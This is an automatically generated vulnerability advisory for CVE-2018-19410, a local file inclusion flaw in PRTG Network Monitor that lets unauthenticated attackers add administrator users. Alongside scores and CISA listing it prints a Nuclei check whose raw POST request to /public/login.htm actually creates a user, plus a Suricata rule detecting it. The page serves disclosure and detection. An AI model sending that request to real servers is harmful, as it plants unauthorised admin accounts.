VULNpocalypse

CVE-2018-19410: Paessler PRTG Network Monitor Local File Inclusion Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the ‘include’ directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the ‘id’ and ‘users’ parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).

Description quoted from the CVE record (assigned by mitre, published 2018-11-21).

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2025-02-04
US federal deadline
2025-02-25
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2018-01538, CNNVD-201811-634, CNVD-2019-00821, EUVD-2018-11103, GHSA-pm93-g4gf-j42f

VEDAS cluster: VEDAS:BOREALFLASH

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (6)

Catalogue entries, not exploit evidence.

23 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.979
very likely to be attacked soon
VEDAS
0.985
strong exploit evidence
On CISA KEV
Yes, since 2025-02-04
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1CVE-2018-19410 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9CVE-2018-19410 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
Not statedversion n/aNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

PRTG Network Monitor - Path Traversal

PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read- write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the ‘include’ directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (POST /public/login.htm?file=/api/addusers.htm, GET /, GET /); it decides using status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2018-19410.yaml
Show the template (48 lines)
yaml
id: CVE-2018-19410

info:
  name: "PRTG Network Monitor - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-
    write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and
    override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack,
    by including /api/addusers and executing it.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2018-19410&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=prtg&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-19410
  metadata:
    verified: false
  tags: cve,cve2018,prtg,lfi,kev,vkev,vuln
variables:
  username: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /public/login.htm?file=/api/addusers.htm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        id=200&users={{username}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Added 1 users'
          - 'prtg'
        part: body
        condition: and

      - type: status
        status:
          - 200

CVE-2018-19410.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2018-19410 PRTG Network Monitor - Path Traversal. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2018-19410 PRTG Network Monitor - Path Traversal"; flow:established,to_server; http.uri; content:"/public/login.htm"; nocase; fast_pattern; content:"file="; nocase; classtype:web-application-attack; reference:cve,CVE-2018-19410; reference:url,https://www.exploit.observer/?keyword=CVE-2018-19410&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=prtg&match=exact; sid:1011077; rev:1;)

CVE-2018-19410.rules on GitHub

References

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.